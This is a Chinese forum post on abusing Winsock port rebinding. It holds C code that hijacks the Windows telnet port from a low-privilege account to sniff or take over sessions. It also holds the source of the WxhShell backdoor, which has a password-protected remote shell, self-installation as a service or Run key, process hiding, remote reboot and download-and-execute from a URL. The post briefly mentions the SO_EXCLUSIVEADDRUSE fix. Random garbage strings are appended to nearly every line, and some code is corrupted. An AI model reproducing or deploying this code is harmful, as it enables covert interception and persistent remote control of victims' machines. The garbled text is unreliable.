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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O-#TZ   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z(e ^iH  
?qmp_2:WU  
  saddr.sin_family = AF_INET; r8[T&z@_  
w2dcH4&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C5*xQlCq}  
)*|(i]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ut_pHj@  
iidT~l  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 /7/0x ./{  
FJ54S  
  这意味着什么?意味着可以进行如下的攻击: Mzkkc QLK  
bcH_V| 5}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U]R~gy}#  
Zgamd1DJ[l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) })Yv9],6  
P`(Mk6gE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 lr~0pL  
!l 6dg&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  N|K4{Frm  
uwmQ?LS]V  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 TTZe$>f  
~aTKG|74  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <jA105U"m>  
p?# pT}1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nlc.u}#  
-tLO.JK<  
  #include c5% 6Y2W0  
  #include C&<~f#lB  
  #include pHC /(6?  
  #include    .c+9P<VmC}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   QkQ!Ep(  
  int main() :Ht; 0|[H  
  { )nfEQ)L;h}  
  WORD wVersionRequested; Am"(+>W21  
  DWORD ret; YcDe@Zuwn  
  WSADATA wsaData; @S^ASDuQU7  
  BOOL val; fjG&`m#"  
  SOCKADDR_IN saddr; wTc)S6%7  
  SOCKADDR_IN scaddr; j:,9%tg  
  int err; 91Z'  
  SOCKET s; Vzg=@A#  
  SOCKET sc; O_~7Glu  
  int caddsize; Yh<WA>=  
  HANDLE mt; -_N)E ))G  
  DWORD tid;   ;9a 6pz<  
  wVersionRequested = MAKEWORD( 2, 2 ); `]i []|  
  err = WSAStartup( wVersionRequested, &wsaData ); %*}Y6tl'|  
  if ( err != 0 ) { "ju'UOcS/  
  printf("error!WSAStartup failed!\n"); iE].&>w  
  return -1; F@YKFk+a  
  } 646JDX[o  
  saddr.sin_family = AF_INET; g)"gw+ZFc  
   sG7u}r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !&^gaUa{  
A7Po 3n%Q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vB\]u.  
  saddr.sin_port = htons(23); !l@zT}i??  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P-`(0M7^  
  { neZ.`"LV  
  printf("error!socket failed!\n"); u]*0;-tz  
  return -1; % Zjdl  
  } <0P5 o|  
  val = TRUE; 8\.b4FNJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Yk!/ow@.  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0RFRbi@n(  
  { nh+l7 8  
  printf("error!setsockopt failed!\n"); Z4b||  
  return -1; 4?\:{1X=  
  } 49H+(*@v@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;&b.T}Nf06  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Q\ppfc{,  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OHv!  
/YAJbr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +0Q,vK#j^  
  { Fh$slow4!  
  ret=GetLastError(); Lh.b 5Q|  
  printf("error!bind failed!\n"); M5357Q  
  return -1; g4p  
  } ] }|byo  
  listen(s,2); 6w8" >~)Z  
  while(1) Yr.sm!xA  
  { "qz3u`[o  
  caddsize = sizeof(scaddr); rwLAW"0Qz  
  //接受连接请求 B;>{0 s  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 46@{5)Tq  
  if(sc!=INVALID_SOCKET) : 18KR*;p  
  { Pz*_)N}j >  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m0n)dje  
  if(mt==NULL) l7H qo)  
  { YyAJ m^o  
  printf("Thread Creat Failed!\n"); \NZIEu)5?  
  break; bNs4 5hDP  
  } w'MGA  
  } V" \0Y0  
  CloseHandle(mt); *iBTI+"]  
  } H,3\0BKk  
  closesocket(s); OJ|r6  
  WSACleanup(); 8BOZh6BV  
  return 0; E>'a,!QPv  
  }   c/N@zum,{  
  DWORD WINAPI ClientThread(LPVOID lpParam) "5R~(+~<@  
  { sV"UI  
  SOCKET ss = (SOCKET)lpParam; i<kD  
  SOCKET sc; @hQlrq5c  
  unsigned char buf[4096]; L!0OC''C  
  SOCKADDR_IN saddr; ULrr=5&8  
  long num; t7 n(Qkrv  
  DWORD val; Q 1d'~e  
  DWORD ret; jp8@vdRg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -i0(2*<  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Un`^jw#_  
  saddr.sin_family = AF_INET; o8/ ;;*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4;n6I)&.(  
  saddr.sin_port = htons(23); ,YTIC8qKr  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -}O1dEn.  
  { vE@!{*  
  printf("error!socket failed!\n"); {vUN+We  
  return -1; &,A64y  
  } &qp r*17T  
  val = 100; 1tTg P+  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g VQjL+_W  
  { Nkxm m/Z  
  ret = GetLastError(); |(5W86C,ju  
  return -1; kpL@P oQ/r  
  } FuI73  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *f& EoUk}F  
  { S5~VD?O,  
  ret = GetLastError(); p&+;w  
  return -1; 5^']+5_vb  
  } *.L81er5~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) kt`nbm|aw  
  { ];.pK  
  printf("error!socket connect failed!\n"); '!l 1=cZD  
  closesocket(sc); "k]CW\H6z  
  closesocket(ss); d ;vT ~;  
  return -1; 6"Bic rY  
  } $o$ maA0  
  while(1) d>;&9;)H  
  { 2gO2jJlv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 MZ Aij  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 z<H~ItX,n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u[nyW3MZ  
  num = recv(ss,buf,4096,0); }cT_qqw(f%  
  if(num>0) @-UL`+  
  send(sc,buf,num,0); .>Ljnk  
  else if(num==0) DXz} YIEC  
  break; H*#s }9=kZ  
  num = recv(sc,buf,4096,0); fRg`UI4w}  
  if(num>0) *`ZH` V  
  send(ss,buf,num,0); q_-7i  
  else if(num==0) n6s}ww)  
  break; n 1!?"m!  
  } *OuStr \o  
  closesocket(ss); )Ke*JJaq  
  closesocket(sc); aLIBD'z  
  return 0 ; 0a-:<zm  
  } /rUo{j  
PaV-F_2  
$<:E'^SAS  
========================================================== [9 Ss# ~  
z9aY]lHY  
下边附上一个代码,,WXhSHELL K~@Mg1R  
w@N  
========================================================== m0v:\?S:  
y|'SXM  
#include "stdafx.h" }CeCc0M  
LX^u_Iu   
#include <stdio.h> u_ABt?'  
#include <string.h> H54 R8O$  
#include <windows.h> &|/| ''A)  
#include <winsock2.h> 0GJn_@hr  
#include <winsvc.h> jBegh9KHq  
#include <urlmon.h> fk_o@ G!0  
5nsq[Q`  
#pragma comment (lib, "Ws2_32.lib") ]Dw]p! @  
#pragma comment (lib, "urlmon.lib") 6/rFHY2q  
X7s `U5'l  
#define MAX_USER   100 // 最大客户端连接数 ^tXJj:wtS  
#define BUF_SOCK   200 // sock buffer zbq@pj)Qu  
#define KEY_BUFF   255 // 输入 buffer 6R=W}q4  
Q+YRf3$  
#define REBOOT     0   // 重启 7b<yVP;{  
#define SHUTDOWN   1   // 关机 ULQMG'P^D  
hWX% 66  
#define DEF_PORT   5000 // 监听端口 \Gc+WpS(  
Z)jw|T'X  
#define REG_LEN     16   // 注册表键长度 {mAU3x  
#define SVC_LEN     80   // NT服务名长度 HuOIFv  
66fO7OJs  
// 从dll定义API } \ZaE~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qi_Jywd:w  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D9z|VIw8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); r#XT3qp$d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?M[ A7?  
;VWAf;U;B  
// wxhshell配置信息 }Hn/I,/  
struct WSCFG { k{'0[,mx#  
  int ws_port;         // 监听端口 Yb E-6|cz  
  char ws_passstr[REG_LEN]; // 口令  EW3(cQbK  
  int ws_autoins;       // 安装标记, 1=yes 0=no ztw@Y|<2  
  char ws_regname[REG_LEN]; // 注册表键名 V O3x~E  
  char ws_svcname[REG_LEN]; // 服务名 *8LMn   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7}X[ 4("bB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3D2E?$dX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U~pV)J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P>Ez'C  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J>\B`E  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 92EWIHEWZ  
t^w"w`v\u  
}; p\bDY  
~$~5qwl  
// default Wxhshell configuration p\<u6v ~J  
struct WSCFG wscfg={DEF_PORT, %"P,1&\^  
    "xuhuanlingzhe", }K&7%N4LZ  
    1, kXf'5p1  
    "Wxhshell", 1PpyVf  
    "Wxhshell", qzTuxo0B  
            "WxhShell Service", )a-Du$kd  
    "Wrsky Windows CmdShell Service", "sG=wjcw^  
    "Please Input Your Password: ", E@ESl0a;  
  1, .FLy;_f+  
  "http://www.wrsky.com/wxhshell.exe", Z4lO?S5%J  
  "Wxhshell.exe" L31HG H2l  
    }; 8?%-'z.  
vMS |$L  
// 消息定义模块 0PWg;>^'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^Y'HaneoM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >"C,@cN}B  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; UXh9:T'%  
char *msg_ws_ext="\n\rExit."; [Nk3|u`h  
char *msg_ws_end="\n\rQuit."; )Q .>rX,F  
char *msg_ws_boot="\n\rReboot..."; 5=Di<!a;  
char *msg_ws_poff="\n\rShutdown..."; ndkti5L,   
char *msg_ws_down="\n\rSave to "; Cvf[/C+  
-:na: Vsi  
char *msg_ws_err="\n\rErr!"; PbmDNKEh{  
char *msg_ws_ok="\n\rOK!"; S;)w.  
6Aku1h  
char ExeFile[MAX_PATH]; tQjLOv+?=  
int nUser = 0; @~%r5pz6  
HANDLE handles[MAX_USER]; kOed ]>H  
int OsIsNt; (JM5`XwM  
9o+)?1\  
SERVICE_STATUS       serviceStatus; QDhOhGK  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; JhLgCnm  
AT%u%cE-  
// 函数声明 dUQ DO o  
int Install(void); /bi}'H+#  
int Uninstall(void); sIxTG y.  
int DownloadFile(char *sURL, SOCKET wsh); .dav8n*  
int Boot(int flag); pim!.=vN/U  
void HideProc(void); #H :7@  
int GetOsVer(void); ROous4MG  
int Wxhshell(SOCKET wsl); gy_>`16K  
void TalkWithClient(void *cs); x= 5N3[5  
int CmdShell(SOCKET sock); lqm1!5dt  
int StartFromService(void); h]TQn)X]  
int StartWxhshell(LPSTR lpCmdLine); [DF,^4g  
7D;cw\ |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hUF5fZqii  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oIduxbAp  
,.7*Hpa  
// 数据结构和表定义 lb3]$Da  
SERVICE_TABLE_ENTRY DispatchTable[] = urjjw.wZ  
{ 0`[wpZ  
{wscfg.ws_svcname, NTServiceMain},  m5r7  
{NULL, NULL} v^1pN>#%g  
}; BDjn !3  
0DJ+I  
// 自我安装 +Nt2 +Y:O  
int Install(void) LRNh@g4ei  
{ 9;B0Mq py  
  char svExeFile[MAX_PATH]; <x<"n t  
  HKEY key; ;u>DNG|.  
  strcpy(svExeFile,ExeFile); `nZ)>  
egq67S  
// 如果是win9x系统,修改注册表设为自启动 E/%9jDTQ  
if(!OsIsNt) { u)~C;f)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zc;|fHW~O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !K'}K>iT  
  RegCloseKey(key); BBtzs^C|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rv|)n>m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %y@Hh=  
  RegCloseKey(key); 50o~ P!Lz|  
  return 0; <psZQdH  
    } .n~M(59  
  } Np"exFqN k  
} j'HZ\_  
else { Bq$rf < W  
t({W [JL  
// 如果是NT以上系统,安装为系统服务 D?NbW @]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #6CC3TJ'k  
if (schSCManager!=0) /N&CaH\;^$  
{ a+%6B_|\  
  SC_HANDLE schService = CreateService :(M(>4t  
  ( "CI=`=  
  schSCManager, !0vG|C ;'  
  wscfg.ws_svcname, eep1I :N  
  wscfg.ws_svcdisp, T-U}QM_e  
  SERVICE_ALL_ACCESS, 'LO^<  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :gep:4&u  
  SERVICE_AUTO_START, 2fWTY0  
  SERVICE_ERROR_NORMAL, `wDl<[V  
  svExeFile, ,uSQNre\j  
  NULL, -@0GcUE:r  
  NULL, x3o ]U)^  
  NULL, EV*IoE$W]=  
  NULL, d%V*|0c)  
  NULL tF{D= ;G  
  ); /assq+H  
  if (schService!=0) {/ BT9|LI  
  { "gDb1h)8  
  CloseServiceHandle(schService); =*r]) Vg^  
  CloseServiceHandle(schSCManager); CnG+Mc^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3_MS.iM  
  strcat(svExeFile,wscfg.ws_svcname); i? K|TC`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =5(>q5Z*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $w);5o  
  RegCloseKey(key); {M^3m5.^  
  return 0; %nV]ibp2)  
    } Cd>WUw  
  } "O%gFye  
  CloseServiceHandle(schSCManager); MP4z-4Y  
} ZHm7Isa1  
} }M H0L#Tu  
)|DM~%$QM  
return 1; `s8{C b=}1  
} nv~%#|v_W  
8[E!E)4M  
// 自我卸载 3%%o?8ES  
int Uninstall(void) fR*q?,  
{ JNJ=e,O,  
  HKEY key; VCD:3U 8  
8j=}u/T@F  
if(!OsIsNt) { Na?!;1]_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RM!<8fXYD  
  RegDeleteValue(key,wscfg.ws_regname); |4uWh  
  RegCloseKey(key); )C(? bR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { LQngK7>  
  RegDeleteValue(key,wscfg.ws_regname); 8q,6}mV  
  RegCloseKey(key); 93` AWg/T  
  return 0; 3v5%y '  
  } X;"Sx#U  
} >JC  
} {ZI)nQ{  
else { f;xkT  
y&?6FY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SBIj<Yy]  
if (schSCManager!=0) vM*($qpAy  
{ q@nP}Pv&5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~e+\k>^eN  
  if (schService!=0) >U]C/P[+  
  { \ytJ=0r  
  if(DeleteService(schService)!=0) { @jsDq Ln  
  CloseServiceHandle(schService); YW60q0:  
  CloseServiceHandle(schSCManager); A8oo@z68n>  
  return 0; +gJ8{u!=k  
  } o!{w"K  
  CloseServiceHandle(schService); 2M68CE  
  } 7]||UuF<  
  CloseServiceHandle(schSCManager); 'Pn3%&O$  
} }}>q2y  
} 32/MkuY^u  
DW_1,:,?7l  
return 1; s0k`p<q  
} jO1r)hw N>  
(tZrw5 @  
// 从指定url下载文件 /.o^R6  
int DownloadFile(char *sURL, SOCKET wsh) .2v_H5<  
{ y6[IfcN  
  HRESULT hr; |>tKq;/  
char seps[]= "/"; YYu6W@m]  
char *token; :qIXY/  
char *file; RkBb$q9F]  
char myURL[MAX_PATH]; V9dF1Hj  
char myFILE[MAX_PATH]; R)RG[F#   
}5}.lJ:  
strcpy(myURL,sURL); =W BTm  
  token=strtok(myURL,seps); 6u7?dG'4  
  while(token!=NULL) pm_u  
  { fi$-;Gz  
    file=token; sU@nc!&Y@  
  token=strtok(NULL,seps); Ux}(?Z  
  } Bhp-jq'!B  
_PlKhv}  
GetCurrentDirectory(MAX_PATH,myFILE); )Ccq4i  
strcat(myFILE, "\\"); '{ V0M<O  
strcat(myFILE, file); ?Vf o+a,  
  send(wsh,myFILE,strlen(myFILE),0); N =QfP  
send(wsh,"...",3,0); Y! gCMLL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); b7wvaRe.  
  if(hr==S_OK) V&\[)D'c  
return 0; gm[z[~X@  
else WzF !6n!h  
return 1; h9Y%{v  
C@L$~iG  
} ,~OwLWi-|X  
kT'u1q$3Vo  
// 系统电源模块 elFtBnL'  
int Boot(int flag) */|9= $54  
{ I| b2acW  
  HANDLE hToken; 6Qy@UfB  
  TOKEN_PRIVILEGES tkp; !=:$lzS^  
/x[jQM\  
  if(OsIsNt) { 7|[mz> "d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vDxe/x%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B9H@e#[  
    tkp.PrivilegeCount = 1; 8'4S8DM  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }` != m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JAX*hGhkh  
if(flag==REBOOT) { A?t%e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x*nSHb  
  return 0; !qN||m CH  
} "G@g" gP  
else { mM-8+H?~b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ktdW`R\+  
  return 0; @p NNq  
} WUsKnf  
  } ~;&m*2 |V  
  else { @Q/-s9b  
if(flag==REBOOT) { 82QGS$0V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /(BMG/Tb  
  return 0; q~vDz]\G  
} nC}6B).el  
else { !gv`F E9y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) FZtfh  
  return 0; bdibaN-h  
} -OA?BEQ=I  
} 4W)B'+ZK8  
^n"OL*ipG  
return 1; Bxfc}vC.  
} %ve:hym*  
:9_L6  
// win9x进程隐藏模块 7e#?e+5+A  
void HideProc(void) yA.4G_|I  
{ T|dY 2  
]5$eAYq  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); p-zXp K"  
  if ( hKernel != NULL ) [vHv0"   
  { |<.lW  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +{W>i;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3rcKzS7  
    FreeLibrary(hKernel); X90J!  
  } r.>].~}4  
TT4./R:  
return; Z]j*9#G1s  
} .72S oT  
sh`s /JRf  
// 获取操作系统版本 cnFI &,FM  
int GetOsVer(void) \e'R @  
{ <p\6AnkMr  
  OSVERSIONINFO winfo; YJ;j x0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Eg2[k.{P  
  GetVersionEx(&winfo); ae0> W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) KOp162X>r  
  return 1; # P?6@\  
  else >9(hUH  
  return 0; ~D5\O6mU-  
} OQ>x5?um  
mysetv&5  
// 客户端句柄模块 Rx);7j/5  
int Wxhshell(SOCKET wsl) nZ@&2YPlem  
{ 8&3V#sn'  
  SOCKET wsh; '&gF>  
  struct sockaddr_in client; E gal4  
  DWORD myID; `}l JH i  
bBS,-vN  
  while(nUser<MAX_USER) p Wt) A  
{ ;+<&8.=,)  
  int nSize=sizeof(client); 1!1 beR]  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x7<\] 94  
  if(wsh==INVALID_SOCKET) return 1; =}v}my3y"  
L2pp6bW  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )d$glI+  
if(handles[nUser]==0) H N.3  
  closesocket(wsh); u\LFlX0sO  
else q|v(Edt|_[  
  nUser++; ]"1`+q6i  
  } I-WhH>9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0em#-*|2"  
^H2-RBE#  
  return 0; z-LB^kc8oQ  
} f~d d3m('  
@H7Wb}  
// 关闭 socket qZh1`\G  
void CloseIt(SOCKET wsh) ;IVDr:  
{ 8ZKo_I\  
closesocket(wsh); ~d%Pnw|  
nUser--; FFH_d <q  
ExitThread(0); NDs!a  
} niqN{  
`xywho%/Y  
// 客户端请求句柄 gOr%!QaF  
void TalkWithClient(void *cs) `S2[5i  
{ 8g:;)u4$P  
BVr0Gk  
  SOCKET wsh=(SOCKET)cs; GW$.lo1|)  
  char pwd[SVC_LEN]; +[ R/=$  
  char cmd[KEY_BUFF]; 3$m4q`J  
char chr[1]; 1\g6)|R-+  
int i,j; P#_sg0oJF  
9(5Oe H6o?  
  while (nUser < MAX_USER) { GHsilba  
n[]tXrhU  
if(wscfg.ws_passstr) { FRS>KO=3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {2+L @  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mnz!nWhk  
  //ZeroMemory(pwd,KEY_BUFF); #ssN027  
      i=0; g q}I[N  
  while(i<SVC_LEN) { rc/nFl 6#  
8:#rA*Y  
  // 设置超时 Ci<ATho  
  fd_set FdRead; ;Wl+ zw  
  struct timeval TimeOut; *_KFW@bC:  
  FD_ZERO(&FdRead); u6_@.a}  
  FD_SET(wsh,&FdRead); B?)@u|0  
  TimeOut.tv_sec=8; * =wYuJ#  
  TimeOut.tv_usec=0; qqu.EE  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C%U`"-%n@7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BWM YpZom  
+q)5dYRzV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kf;/c}}  
  pwd=chr[0]; s7l;\XBy  
  if(chr[0]==0xd || chr[0]==0xa) { a9T@$:  
  pwd=0; Ma\Gb+>  
  break; 3T e^  
  } vk?skN@  
  i++; K"0PTWt  
    } i@B[ eta  
LK;k'IJ  
  // 如果是非法用户,关闭 socket ]b=P=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g"L|n7_b  
} GQl$yZaK{  
+8#_59;x  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;?6No(/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r} P<iX   
c1_5, 1U'  
while(1) { S_T1y  
]a! xUg!S  
  ZeroMemory(cmd,KEY_BUFF); 1|?05<8  
oX DN+4ge  
      // 自动支持客户端 telnet标准   )6w}<W*1E  
  j=0; fnNYX]_bk  
  while(j<KEY_BUFF) { qt3PXqR7 :  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cI=r+ OGk*  
  cmd[j]=chr[0]; mCWhUBghR  
  if(chr[0]==0xa || chr[0]==0xd) { !p[9{U->o;  
  cmd[j]=0; g(Io/hyj  
  break; #!$GH_  
  } =Me5ft w  
  j++; sj8~?O  
    } Ht-t1q  
[b/k3&O'  
  // 下载文件 tBm_YP[  
  if(strstr(cmd,"http://")) { i:cXwQG}B  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Pf$pt  
  if(DownloadFile(cmd,wsh)) r 3M1e+'fc  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DwV4o^J:l  
  else `zR+tbm  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5hbJOo0BZ  
  } h8Xg`C\  
  else { ) gzR=9l  
hx f'5uc  
    switch(cmd[0]) { 8srBHslI  
  #!9S}b$  
  // 帮助 wBInq~K_  
  case '?': { xxm%u9@s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7-~Q5Kr.  
    break; .iQT5c  
  } -\y-qHgb/  
  // 安装 Hi yc#-4  
  case 'i': { +*n-<x5"  
    if(Install()) e.*%K!(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cDoo*  
    else $%%os6y2v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +e-,ST&w(  
    break; e|rg;`AW  
    } WH$e2[+Y  
  // 卸载 F*Z=<]<+  
  case 'r': { $XU5??8  
    if(Uninstall()) w]_zp?\^ }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [<,~3oRu  
    else 3-%Cw2ds  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P1U*g!  
    break; Pe_!?:vF  
    } /{{UP-  
  // 显示 wxhshell 所在路径 `Bw9O%]-S  
  case 'p': { Jj= ;  
    char svExeFile[MAX_PATH]; 5PIZh<  
    strcpy(svExeFile,"\n\r"); `Rd m-[&  
      strcat(svExeFile,ExeFile); CAU0)=M  
        send(wsh,svExeFile,strlen(svExeFile),0); 0vGyI>  
    break; ;oxAe<VIj  
    } ^Q{Bq  
  // 重启 H3H_u4_?SE  
  case 'b': { /R LI,.%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); NJ MJ  
    if(Boot(REBOOT)) X]y )ZF26  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S|zW^|YU  
    else { <X_!x_x  
    closesocket(wsh); jhGlG-^  
    ExitThread(0); jDRe)bo4  
    } ;&b%Se@#p  
    break; u0RS)&  
    } cDrebU  
  // 关机  2T)sXBu  
  case 'd': { 6QNs\Ucb+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !'f3>W\   
